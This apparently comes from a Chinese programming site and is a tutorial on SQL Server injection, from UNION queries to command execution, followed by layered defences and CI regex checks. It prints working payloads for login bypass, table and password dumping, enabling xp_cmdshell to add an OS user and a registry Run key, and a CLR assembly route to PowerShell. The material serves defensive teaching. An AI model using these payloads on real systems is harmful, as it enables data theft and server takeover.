首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server 高級注入攻擊實戰解析:從聯合查詢到命令執行的完整鏈路

     編輯:關於SqlServer

聲明

本文僅供**安全研究、代碼審計、防禦體系建設**參考,**嚴禁用於非授權測試或攻擊**。所有示例在隔離測試環境演示,生產環境請直接套用修復方案。

注入分類與利用鏈路

類型特徵數據獲取方式危害上限
聯合查詢注入回顯位置可控`UNION SELECT ...` 直接回顯數據竊取
報錯注入錯誤信息回顯`CONVERT(INT, (SELECT @@VERSION))` 觸發轉換錯誤攜帶數據數據竊取
盲注 (布爾/時間)無回顯、無報錯`IF (SELECT 1 FROM ...) WAITFOR DELAY '0:0:5'` / 頁面真假差異數據竊取 (慢)
堆疊查詢支持多語句 `;``; DROP TABLE ...; --` / `; EXEC xp_cmdshell ...`**RCE / 系統失陷**
二次注入存儲時無害、使用時觸發存儲 `admin'--` 登錄時成為 `WHERE user='admin'--'`繞過認證/邏輯破壞

經典攻擊載荷演示 (針對 `SELECT * FROM Users WHERE Username = ''`)

1. 鑒別注入點

' OR 1=1--           -- 繞過認證
' OR '1'='1           -- 繞過認證 (無註釋)
'; WAITFOR DELAY '0:0:5'--  -- 時間盲注確認

2. 確定列數 (UNION 前置)

' UNION SELECT NULL--        -- 1 列
' UNION SELECT NULL,NULL--    -- 2 列
... 直到不報錯

3. 爆庫/表/列/數據

' UNION SELECT name, NULL, NULL FROM sys.databases--                    -- 爆庫
' UNION SELECT name, NULL, NULL FROM sys.objects WHERE type='U'--       -- 爆表
' UNION SELECT name, NULL, NULL FROM sys.columns WHERE object_id=OBJECT_ID('Users')-- -- 爆列
' UNION SELECT Username, Password, Email FROM Users--                    -- 竊取數據

4. 高危擴展利用 (需 `sysadmin`、`xp_cmdshell` 啟用)

; EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';                    -- 獲取服務賬戶權限
EXEC xp_cmdshell 'net user hacker P@ss /add'; -- 添加系統用戶
EXEC xp_cmdshell 'reg add HKLM\...\Run /v Evil /t REG_SZ /d "cmd.exe"'; -- 持久化

5. CLR 組件部署 (繞過 `xp_cmdshell` 禁用)

-- 1. 攻擊者上傳惡意 DLL (Base64 編碼十六進制)
CREATE ASSEMBLY Evil FROM 0x4D5A... WITH PERMISSION_SET = UNSAFE;
-- 2. 創建存儲過程映射
CREATE PROC usp_EvilCmd @Cmd NVARCHAR(MAX) AS EXTERNAL NAME Evil.[Namespace.Class]::Method;
-- 3. 執行任意命令
EXEC usp_EvilCmd 'powershell -enc ...';

防禦體系:纏繞多層

  1. 代碼層 (根治):全量參數化查詢 (存儲過程、`sp_executesql` + 參數、ORM 參數化),**嚴禁字符串拼接 SQL**。代碼審查/SAST 掃描強制門禁。
  2. 數據庫層 (最小權限):
    • 應用賬號:僅 `SELECT/INSERT/UPDATE/DELETE` 業務表,**無 `sysadmin`/`db_owner`/`ddl_admin`/`securityadmin`**。
    • 禁用/移除 `xp_cmdshell`、`sp_OA*`、`xp_reg*`、`xp_dirtree` 等危險擴展 (參見文章 84203)。
    • 啟用 `CONTAINED DATABASE` 隔離用戶,無登錄映射。
  3. 網絡層 (WAF/IPS):部署 ModSecurity + CRS 3.3 / 云 WAF,攔截 `UNION SELECT`、`xp_cmdshell`、`WAITFOR DELAY`、`BASE64` 等特徵載荷。
  4. 監控層 (審計/告警):
    • SQL Server Audit / Extended Events 記錄:失敗登錄、DDL、權限變更、動態 SQL 執行、錯誤 50000+ 自定義事件。
    • SIEM 關聯:同源 IP 短時大量錯誤查詢、非常用時間段訪問、非常用表訪問 → 實時告警。
  5. 應用層 (輸入驗證/編碼):白名單正則驗證所有輸入 (ID、枚舉、長度、格式);輸出編碼防 XSS (雖非 SQL 注入但同源)。

代碼審查紅線清單 (CI/CD 門禁)

# 正則掃描禁止模式 (示例)
# 1. 字符串拼接 SQL
(\+|&)\s*["']\s*SELECT|INSERT|UPDATE|DELETE|EXEC
# 2. 執行動態 SQL 無參數
EXEC\s*\(|sp_executesql\s+N['"][^'"]*@
# 3. 直接使用 Request/QueryString/Form 進入 SQL
Request\.(QueryString|Form|Params)\(["']\w+["']\).*SELECT|INSERT|UPDATE|DELETE

總結

SQL 注入本質是**代碼與數據未分離**。**參數化查詢**是唯一徹底解法;最小權限、禁用危險組件、WAF、審計告警構成纏繞防線。安全是系統工程,而非單點修補。請將上述紅線清單納入研發規範與自動化掃描,做到「無參數化不上線、無最小權限不部署、無審計不運行」。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved